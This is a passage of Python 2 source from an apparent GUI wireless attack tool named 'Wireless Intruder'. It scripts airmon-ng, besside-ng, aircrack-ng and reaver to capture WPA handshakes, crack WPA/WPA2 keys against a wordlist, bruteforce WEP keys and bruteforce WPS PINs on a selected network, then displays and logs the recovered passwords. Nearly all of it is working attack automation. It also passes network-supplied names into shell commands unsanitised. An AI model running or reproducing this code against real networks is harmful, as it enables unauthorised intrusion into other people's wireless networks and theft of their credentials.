            if os.path.isfile('/opt/td-config/run/besside/wep.cap'): os.remove('/opt/td-config/run/besside/wep.cap')
            if os.path.isfile('/opt/td-config/run/besside/wpa.cap'): os.remove('/opt/td-config/run/besside/wpa.cap')
	    if os.path.isfile('/opt/td-config/run/besside/blacklist'): os.remove('/opt/td-config/run/besside/blacklist')
            if os.path.isfile('/opt/td-config/run/besside/lock'): os.remove('/opt/td-config/run/besside/lock')
            if os.path.isfile('/opt/td-config/run/besside/pin'): os.remove('/opt/td-config/run/besside/pin')
            if os.path.isfile('/opt/td-config/run/besside/perc'): os.remove('/opt/td-config/run/besside/perc')
	    time.sleep(1)
	    self.do_gui(self.label.set_text, '')
	    self.do_gui(self.text.set_text, '')
            time.sleep(1)
            if string.find(i['dev'], "wlan0") != -1:
                self.do_gui(self.text.set_text, ('Starting {}\n\nInterface is {} (Internal 802.11 WiFi device)\nTarget channel network is {}\nTarget ESSID network is {}\nTarget BSSID network is {}\n').format(self.attacks[self.acombo.get_active()][1], i['dev'], str(n['chan']), n['essid'], n['bssid']))
            else:
                self.do_gui(self.text.set_text, ('Starting {}\n\nInterface is {} (External 802.11 WiFi device)\nTarget channel network is {}\nTarget ESSID network is {}\nTarget BSSID network is {}\n').format(self.attacks[self.acombo.get_active()][1], i['dev'], str(n['chan']), n['essid'], n['bssid']))

	    self.attacks[self.acombo.get_active()][3](i, n)
	    time.sleep(1)

    	self.do_gui(self.progress.set_fraction, 0)
	time.sleep(1)
    	self.do_gui(self.text.insert_at_cursor, ('\nAttack completed.' if self.status == 'started' else '\nAttack aborted.') + '\n')
	if self.status == 'started':
	    subprocess.call('echo "{} Wireless Intruder attack successfull." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	else:
	    subprocess.call('echo "{} Wireless Intruder attack aborted." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)

    	time.sleep(2)
    	if os.path.isfile('/opt/td-config/run/besside/key'):
            self.key = open('/opt/td-config/run/besside/key').read().strip()
            if not all(c in string.printable for c in self.key):
          	self.key = '(hex) ' + self.key.encode('hex_codec')

	    ctype = self.acombo.get_active_text()
	    if ctype == 'WPS PIN bruteforce attack':
		if os.path.exists('/opt/td-config/run/besside/pin') == True:
		    try:
			pin = subprocess.check_output("cat /opt/td-config/run/besside/pin", shell=True)
			self.do_gui(self.text.insert_at_cursor, '\n   Password is: {}\n'.format(self.key))
	                self.do_gui(self.label.set_text, 'Password found: {}'.format(self.key))
		        subprocess.call('echo "{} Password found: {} on {} {} network on Wireless Intruder." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), self.key, n['essid'], n['bssid']), shell=True)
			subprocess.call('echo "{} PIN found: {} on {} {} network on Wireless Intruder." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), str(pin), n['essid'], n['bssid']), shell=True)
		    except:
			self.do_gui(self.text.insert_at_cursor, '\n   Password is: {}\n'.format(self.key))
                        self.do_gui(self.label.set_text, 'Password found: {}'.format(self.key))
			subprocess.call('echo "{} Password found: {} on {} {} network on Wireless Intruder." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), self.key, n['essid'], n['bssid']), shell=True)
		else:
		    self.do_gui(self.text.insert_at_cursor, '\n   Password is: {}\n'.format(self.key))
                    self.do_gui(self.label.set_text, 'Password found: {}'.format(self.key))
		    subprocess.call('echo "{} Password found: {} on {} {} network on Wireless Intruder." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), self.key, n['essid'], n['bssid']), shell=True)
	    else: 
		self.do_gui(self.text.insert_at_cursor, '\n   Password is: {}\n'.format(self.key))
                self.do_gui(self.label.set_text, 'Password found: {}'.format(self.key))
	        subprocess.call('echo "{} Password found: {} on {} {} network on Wireless Intruder." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), self.key, n['essid'], n['bssid']), shell=True)
        else:
            self.key = ''
            self.do_gui(self.text.insert_at_cursor, '\n   Password not found\n')
     	    self.do_gui(self.label.set_text, 'Password not found')
	    subprocess.call('echo "{} Password not found on {} {} network on Wireless Intruder." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime(), n['essid'], n['bssid']), shell=True)

    	self.status = 'stopped'

        if os.path.exists('/opt/td-config/run/NetworkManager.conf') == True:
            subprocess.call("rm -f /etc/NetworkManager/NetworkManager.conf", shell=True)
            subprocess.call("mv -f /opt/td-config/run/NetworkManager.conf /etc/NetworkManager/", shell=True)
            subprocess.call("killall -1 NetworkManager", shell=True)
            time.sleep(1)

	time.sleep(1)

	self.do_gui(self.builder.get_object("button9").set_sensitive, True)
	self.do_gui(self.builder.get_object("button22").set_sensitive, True)
	self.do_gui(self.builder.get_object("label28").set_sensitive, True)
	self.do_gui(self.progress.set_fraction, 0)
	self.do_gui(self.builder.get_object("label10").set_sensitive, True)
        self.do_gui(self.builder.get_object("label11").set_sensitive, True)
        self.do_gui(self.builder.get_object("label12").set_sensitive, True)
    	self.do_gui(self.icombo.set_sensitive, True)
    	self.do_gui(self.ibutton.set_sensitive, True)
    	self.do_gui(self.ncombo.set_sensitive, True)
    	self.do_gui(self.nbutton.set_sensitive, True)
    	self.do_gui(self.acombo.set_sensitive, True)

	ctype = self.acombo.get_active_text()
	if ctype == 'WPA dictionary attack' or ctype == 'WPA2 dictionary attack':
	    self.do_gui(self.ccbutton.set_sensitive, True)
	else:
    	    self.do_gui(self.ccbutton.set_sensitive, False)

	self.do_gui(self.abutton.set_label, 'Start')
	self.do_gui(self.abutton.set_sensitive, True)
        self.do_gui(self.builder.get_object("label28").set_sensitive, True)
	self.do_gui(self.builder.get_object("progressbar1").set_sensitive, False)

	subprocess.call('echo "{} Stopping Wireless Intruder." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
        self.builder.get_object("button9").set_sensitive(False)
        self.builder.get_object("button8").set_sensitive(False)
	self.builder.get_object("button22").set_sensitive(False)
	self.wi_running = False

    def attackwpa(self, i, n):
	if self.attackreboot == False:
	    if n['encr'] == 'wpa':
	        subprocess.call('echo "{} Starting WPA dictionary attack on Wireless Intruder..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	    else:
	        subprocess.call('echo "{} Starting WPA2 dictionary attack on Wireless Intruder..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	else:
	    self.attackreboot = False

	subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
	subprocess.call("/opt/td-config/bin/airmon-ng start '{}' '{}' > /dev/null 2> /dev/null".format(i['dev'], n['chan']), shell=True)
	subprocess.call("iw dev mon0 set power_save off 2> /dev/null", shell=True)

	self.do_gui(self.text.insert_at_cursor, 'Wordlist selected is ' + self.wordlist_path_orig + '\n')

	subprocess.call("ifconfig '{}' up".format(self.disable_snifcard), shell=True)
	while True:
	    try:
                retht = subprocess.check_output("/opt/td-config/bin/iw dev '{}' scan 2> /dev/null | grep -i '{}' | grep -Fi '{}'".format(i['dev'], n['bssid'].lower(), n['essid']), shell=True).strip()

                if len(retht) == 0:
                    pass
                else:
                    if string.find(retht, " - below") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT40-'
                        subprocess.call("iw dev '{}' set freq '{}' HT40-".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT40-'
		        break
                    elif string.find(retht, " - above") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT40+'
                        subprocess.call("iw dev '{}' set freq '{}' HT40+".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT40+'
		        break
                    elif string.find(retht, " - no secondary") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT20'
                        subprocess.call("iw dev '{}' set freq '{}' HT20".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT20'
		        break
		    elif string.find(retht, " - [reserved!]") != -1 or string.find(retht, " - nothing") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' nothing'
			self.htcomand = None
		        break
		    else:
			continue
            except:
                pass

	if self.htcomand != None:
            time.sleep(2)
            print "[        iw][00000000] " + self.htcomand
            subprocess.call(self.htcomand, shell=True)

    	self.status = 'started'
	self.wi_running = False

	self.do_gui(self.abutton.set_sensitive, True)
        self.do_gui(self.builder.get_object("label28").set_sensitive, True)
        self.do_gui(self.abutton.set_label, 'Stop')
        self.do_gui(self.builder.get_object("label13").set_label, "")

	if self.status == 'started':
	    self.do_gui(self.label.set_text, "Getting handshake packet")
    	    self.do_gui(self.text.insert_at_cursor, '\n- Step 1/2: getting handshake packet of a connected client...\n')

	    self.do_gui(self.progress.pulse)

	    while True:
                besside_proc = subprocess.Popen("/opt/td-config/bin/besside-ng -b '{}' -c '{}' mon0".format(n['bssid'], n['chan']), shell=True)
                self.besside_pid = self.child_pid(besside_proc.pid)
                if self.besside_pid == None:
                    subprocess.call("killall -SIGKILL besside-ng 2> /dev/null", shell=True)
                    continue
                else:
                    break

	    self.do_gui(self.progress.pulse)

	    if self.htcomand != None:
                while True:
                    if self.status != 'started':
                        break

                    if os.path.exists('/opt/td-config/run/besside/attacking') == True:
                        os.remove('/opt/td-config/run/besside/attacking')
                        break
                    else:
                        time.sleep(2)
                        print "[        iw][00000000] " + self.htcomand
                        subprocess.call(self.htcomand, shell=True)

	    self.do_gui(self.progress.pulse)

	    if self.status != 'started':
                if self.besside_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

		if self.aircrack_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

                subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
		subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
		return

	    while True:
		self.do_gui(self.progress.pulse)

		if self.status != 'started':
                    break

		try:
		    if subprocess.check_output("ps ax | grep -i besside-ng | grep -v grep", shell=True).strip() == '0':
		        break
		except:
		    break

		time.sleep(0.5)

	    if self.status != 'started':
                if self.besside_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

                if self.aircrack_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

                subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
		subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
                return

	    while True:
	        aircrack_proc = subprocess.Popen("/opt/td-config/bin/aircrack-ng -q -b '{}' -l '/opt/td-config/run/besside/key' -w '{}' '/opt/td-config/run/besside/wpa.cap'".format(n['bssid'], self.wordlist_path), shell=True)
                self.aircrack_pid = self.child_pid(aircrack_proc.pid)
                if self.aircrack_pid == None:
                    if self.status != 'started':
                        break

		    if os.path.exists('/opt/td-config/run/besside/nohandshake') == True:
			break

		    if os.path.exists('/opt/td-config/run/besside/key') == True:
		        break

		    if os.path.exists('/opt/td-config/run/besside/nopass') == True:
                        break

                    subprocess.call("killall -SIGKILL aircrack-ng 2> /dev/null", shell=True)
                    time.sleep(1)
                    continue
                else:
                    break

	    self.do_gui(self.progress.pulse)
	    time.sleep(1)

	    if os.path.exists('/opt/td-config/run/besside/nohandshake') == True:
		if self.besside_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

                if self.aircrack_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

                subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
		subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
                self.attackerror = True
		self.attackreboot = True
                return

	    self.do_gui(self.text.insert_at_cursor, '- Step 2/2: searching in the dictionary...\n')

	    keys = 0
	    new_keys = 0
	    keys_total = subprocess.check_output("wc -l '{}' | awk '{{print $1}}'".format(self.wordlist_path), shell=True)
	    keys_total = int(keys_total[:-1])

	    if n['encr'] == 'wpa': 
	        self.do_gui(self.label.set_text, "Cracking WPA (" + str(keys) + "%)")
	    else:
	        self.do_gui(self.label.set_text, "Cracking WPA2 (" + str(keys) + "%)")

	    while True:
		self.do_gui(self.progress.pulse)

	        if self.status != 'started':
		    break

		if os.path.exists('/opt/td-config/run/besside/key') == True:
		    break

		if os.path.exists('/opt/td-config/run/besside/nopass') == True:
                    break

		if os.path.exists("/opt/td-config/run/besside/keys") == True:
		    try:
			subprocess.call("cp /opt/td-config/run/besside/keys /opt/td-config/run/besside/keys.tmp 2> /dev/null", shell=True)
		        new_keys = subprocess.check_output("cat /opt/td-config/run/besside/keys.tmp 2> /dev/null", shell=True)
		    	new_keys = int(new_keys)

			if new_keys <= keys_total:
			    if ((100 * new_keys) / keys_total) != keys:
		    	        keys_tmp = (100 * new_keys) / keys_total

			        if keys_tmp <= 100 and len(str(keys_tmp)) <= 3:
				    keys = (100 * new_keys) / keys_total

			            if n['encr'] == 'wpa':
		    	                self.do_gui(self.label.set_text, "Cracking WPA (" + str(keys) + "%)")
			            else:
				        self.do_gui(self.label.set_text, "Cracking WPA2 (" + str(keys) + "%)")
		    except:
			pass

		    try:
		        os.remove('/opt/td-config/run/besside/keys.tmp')
		    except:
			pass

		if self.status != 'started':
                    break

		try:
		    if subprocess.check_output("ps ax | grep -i aircrack-ng | grep -v grep", shell=True).strip() == '0':
			break
		except:
		    break

		if os.path.exists('/opt/td-config/run/besside/key') == True:
                    break

		time.sleep(1)

	    time.sleep(1)

	    if self.status != 'started':
	        pass
	    elif os.path.exists('/opt/td-config/run/besside/key') == True:
		if n['encr'] == 'wpa':
                    self.do_gui(self.label.set_text, "Cracking WPA (100%)")
		else:
		    self.do_gui(self.label.set_text, "Cracking WPA2 (100%)")
	        pass
	    elif os.path.exists('/opt/td-config/run/besside/nopass') == True:
		if n['encr'] == 'wpa':
		    self.do_gui(self.label.set_text, "Cracking WPA (100%)")
		else:
		    self.do_gui(self.label.set_text, "Cracking WPA2 (100%)")
	        pass
	    else:
	        if self.besside_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

                if self.aircrack_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

                subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
		subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
                self.attackerror = True
		self.attackreboot = True
                return

	if self.besside_pid != None:
            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

        subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

	if self.aircrack_pid != None:
            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

        subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
	subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)

    def attackwep(self, i, n):
	if self.attackreboot == False:
	    subprocess.call('echo "{} Starting WEP bruteforce attack on Wireless Intruder..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	else:
	    self.attackreboot = False

	subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
	subprocess.call("/opt/td-config/bin/airmon-ng start '{}' '{}' > /dev/null 2> /dev/null".format(i['dev'], n['chan']), shell=True)
	subprocess.call("iw dev mon0 set power_save off 2> /dev/null", shell=True)

	subprocess.call("ifconfig '{}' up".format(self.disable_snifcard), shell=True)
	while True:
            try:
                retht = subprocess.check_output("/opt/td-config/bin/iw dev '{}' scan 2> /dev/null | grep -i '{}' | grep -Fi '{}'".format(i['dev'], n['bssid'].lower(), n['essid']), shell=True).strip()
                
                if len(retht) == 0:
                    pass
                else:
                    if string.find(retht, " - below") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT40-'
                        subprocess.call("iw dev '{}' set freq '{}' HT40-".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT40-'
                        break
                    elif string.find(retht, " - above") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT40+'
                        subprocess.call("iw dev '{}' set freq '{}' HT40+".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT40+'
                        break
                    elif string.find(retht, " - no secondary") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT20'
                        subprocess.call("iw dev '{}' set freq '{}' HT20".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT20'
                        break
                    elif string.find(retht, " - [reserved!]") != -1 or string.find(retht, " - nothing") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' nothing'
			self.htcomand = None
                        break
		    else:
			continue
            except:
                pass

	if self.htcomand != None:
            time.sleep(2)
            print "[        iw][00000000] " + self.htcomand
            subprocess.call(self.htcomand, shell=True)

    	self.status = 'started'
	self.wi_running = False

	self.do_gui(self.abutton.set_sensitive, True)
        self.do_gui(self.abutton.set_label, 'Stop')
        self.do_gui(self.builder.get_object("label28").set_sensitive, True)
        self.do_gui(self.builder.get_object("label13").set_label, "")

	if self.status == 'started':
	    self.do_gui(self.label.set_text, "Detecting network traffic")
	    self.do_gui(self.text.insert_at_cursor, '\n- Step 1/2: detecting network traffic of a connected client...\n')

	    self.do_gui(self.progress.pulse)

	    while True:
                besside_proc = subprocess.Popen("/opt/td-config/bin/besside-ng -b '{}' -c '{}' mon0".format(n['bssid'], n['chan']), shell=True)
                self.besside_pid = self.child_pid(besside_proc.pid)
                if self.besside_pid == None:
                    subprocess.call("killall -SIGKILL besside-ng 2> /dev/null", shell=True)
                    continue
                else:
                    break

	    self.do_gui(self.progress.pulse)

	    if self.htcomand != None:
                while True:
		    if self.status != 'started':
			break

                    if os.path.exists('/opt/td-config/run/besside/attacking') == True:
                        os.remove('/opt/td-config/run/besside/attacking')
                        break
                    else:
                        time.sleep(2)
                        print "[        iw][00000000] " + self.htcomand
                        subprocess.call(self.htcomand, shell=True)

	    self.do_gui(self.progress.pulse)

	    if self.status != 'started':
                if self.besside_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

                if self.aircrack_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

                subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
		subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
                return

	    while True:
		self.do_gui(self.progress.pulse)

		try:
		    if subprocess.check_output("ps ax | grep -i besside-ng | grep -v grep", shell=True).strip() == '0':
			if self.besside_pid != None:
        		    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

        		subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

        		if self.aircrack_pid != None:
        		    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

        		subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
			subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
			self.attackerror = True
			self.attackreboot = True
                        return
		except:
		    if self.besside_pid != None:
       		        subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

        	    subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

        	    if self.aircrack_pid != None:
            	        subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

        	    subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
		    subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
		    self.attackerror = True
		    self.attackreboot = True
                    return

	        aircrack_proc = subprocess.Popen("/opt/td-config/bin/aircrack-ng -a WEP -q -b '{}' -l '/opt/td-config/run/besside/key' '/opt/td-config/run/besside/wep.cap'".format(n['bssid']), shell=True)
	        self.aircrack_pid = self.child_pid(aircrack_proc.pid)
	        if self.aircrack_pid == None:
		    if self.status != 'started':
			break

		    subprocess.call("killall -SIGKILL aircrack-ng 2> /dev/null", shell=True)
		    time.sleep(1)
		    continue
	   	else:
		    break

	    self.do_gui(self.text.insert_at_cursor, '- Step 2/2: getting IVs packets and bruteforcing key...\n')

	    self.do_gui(self.progress.pulse)

	    if self.status != 'started':
		if self.besside_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

                subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

		if self.aircrack_pid != None:
                    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

                subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
		subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
		return

	    ivs = '0'

	    self.do_gui(self.label.set_text, "Cracking WEP (" + ivs + ' IVs)')

	    while self.status == 'started':
		self.do_gui(self.progress.pulse)

		if self.status != 'started':
		    break

		if os.path.exists('/opt/td-config/run/besside/key') == True:
                    break

		if os.path.exists("/opt/td-config/run/besside/ivs") == True:
		    try:
		        new_ivs = subprocess.check_output("cat /opt/td-config/run/besside/ivs", shell=True)
		        if ivs != new_ivs:
			    ivs = new_ivs
			    self.do_gui(self.label.set_text, "Cracking WEP (" + ivs + ' IVs)')
		    except:
			pass

		try:
		    if subprocess.check_output("ps ax | grep -i besside-ng | grep -v grep", shell=True).strip() == '0' or subprocess.check_output("ps ax | grep -i aircrack-ng | grep -v grep", shell=True).strip() == '0':
			if os.path.exists('/opt/td-config/run/besside/key') == True:
                            break

			if self.besside_pid != None:
                            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

        		subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

        		if self.aircrack_pid != None:
            		    subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

        		subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
			subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
			self.attackerror = True
			self.attackreboot = True
			return
		except:
		    if os.path.exists('/opt/td-config/run/besside/key') == True:
                        break

		    if self.besside_pid != None:
            	        subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

        	    subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

        	    if self.aircrack_pid != None:
            	        subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

        	    subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)
		    subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
		    self.attackerror = True
		    self.attackreboot = True
		    return

	        if os.path.exists('/opt/td-config/run/besside/key') == True:
		    break

		time.sleep(1)

	    time.sleep(1)

	if self.besside_pid != None:
            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.besside_pid), shell=True)

        subprocess.call('killall -SIGKILL besside-ng 2> /dev/null', shell=True)

        if self.aircrack_pid != None:
            subprocess.call('kill -KILL {} 2> /dev/null'.format(self.aircrack_pid), shell=True)

        subprocess.call('killall -SIGKILL aircrack-ng 2> /dev/null', shell=True)	
	subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)

    def attackwps(self, i, n):
	if self.attackreboot == False:
	    subprocess.call('echo "{} Starting WPS PIN bruteforce attack on Wireless Intruder..." >> /opt/td-config/run/logsystem'.format(self.getmylocaltime()), shell=True)
	else:
	    self.attackreboot = False

	subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
	subprocess.call("/opt/td-config/bin/airmon-ng start '{}' '{}' > /dev/null 2> /dev/null".format(i['dev'], n['chan']), shell=True)    
	subprocess.call("iw dev mon0 set power_save off 2> /dev/null", shell=True)

	subprocess.call("ifconfig '{}' up".format(self.disable_snifcard), shell=True)
	while True:
            try:
                retht = subprocess.check_output("/opt/td-config/bin/iw dev '{}' scan 2> /dev/null | grep -i '{}' | grep -Fi '{}'".format(i['dev'], n['bssid'].lower(), n['essid']), shell=True).strip()
                
                if len(retht) == 0:
                    pass
                else:
                    if string.find(retht, " - below") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT40-'
                        subprocess.call("iw dev '{}' set freq '{}' HT40-".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT40-'
                        break
                    elif string.find(retht, " - above") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT40+'
                        subprocess.call("iw dev '{}' set freq '{}' HT40+".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT40+'
                        break
                    elif string.find(retht, " - no secondary") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' HT20'
                        subprocess.call("iw dev '{}' set freq '{}' HT20".format(i['dev'], n['freq']), shell=True)
			self.htcomand = 'iw dev ' + i['dev'] + ' set freq ' +  str(n['freq']) + ' HT20'
                        break
                    elif string.find(retht, " - [reserved!]") != -1 or string.find(retht, " - nothing") != -1:
			print "[        iw][00000000] " + i['dev'] + ' ' +  n['bssid'].lower() + ' ' + n['essid'] + ' nothing'
			self.htcomand = None
                        break
		    else:
			continue
            except:
                pass

	if self.htcomand != None:
            time.sleep(2)
            print "[        iw][00000000] " + self.htcomand
            subprocess.call(self.htcomand, shell=True)

    	self.status = 'started'
	self.wi_running = False

	self.do_gui(self.abutton.set_sensitive, True)
        self.do_gui(self.builder.get_object("label28").set_sensitive, True)
        self.do_gui(self.abutton.set_label, 'Stop')
        self.do_gui(self.builder.get_object("label13").set_label, "")

    	self.do_gui(self.text.insert_at_cursor, '\n- Step 1/1: bruteforcing PIN code...\n')
 
	while True:
            reaver_proc = subprocess.Popen("/opt/td-config/bin/reaver -i mon0 -b '{}' -c '{}' -f -a -vv".format(n['bssid'], n['chan']), shell=True)
            self.reaver_pid = self.child_pid(reaver_proc.pid)
            if self.reaver_pid == None:
 		if os.path.exists('/opt/td-config/run/besside/blacklist') == True:
		    break

		if os.path.exists('/opt/td-config/run/besside/nopass') == True:
		    break

                subprocess.call("killall -SIGKILL reaver 2> /dev/null", shell=True)
                continue
            else:
                break

	if self.status != 'started':
  	    if self.reaver_pid != None:
                subprocess.call('kill -KILL {} 2> /dev/null'.format(self.reaver_pid), shell=True)

            subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)
            subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
            return

        self.do_gui(self.progress.pulse)

	if os.path.exists('/opt/td-config/run/besside/blacklist') == True:
	    self.do_gui(self.text.insert_at_cursor, 'This device has been blacklisted and is not supported.\n')
	    if self.reaver_pid != None:
                subprocess.call('kill -KILL {} 2> /dev/null'.format(self.reaver_pid), shell=True)

            subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)
            subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
            return

	if os.path.exists('/opt/td-config/run/besside/nopass') == True:
            if self.reaver_pid != None:
                subprocess.call('kill -KILL {} 2> /dev/null'.format(self.reaver_pid), shell=True)

            subprocess.call('killall -SIGKILL reaver 2> /dev/null', shell=True)
            subprocess.call("/opt/td-config/bin/airmon-ng stop mon0 > /dev/null 2> /dev/null", shell=True)
            return

	perc = 0
	self.do_gui(self.label.set_text, "Cracking WPS (" + str(perc) + "%)")

        while True:
	    if self.status != 'started':
	        break

	    if os.path.exists('/opt/td-config/run/besside/perc') == True:
		try:
		    perc = subprocess.check_output("cat /opt/td-config/run/besside/perc", shell=True)
		    self.do_gui(self.label.set_text, "Cracking WPS (" + str(perc) + "%)")
		except:
		    pass

	    if os.path.exists('/opt/td-config/run/besside/blacklist') == True:
                self.do_gui(self.text.insert_at_cursor, '  This device has been blacklisted and is not supported.\n')
	 	break

	    if os.path.exists('/opt/td-config/run/besside/lock') == True:
		try:
		    tlock = subprocess.check_output("cat /opt/td-config/run/besside/lock", shell=True)
    		    self.do_gui(self.text.insert_at_cursor, "  Flood protection, waiting " + tlock + " seconds before attacking...\n")
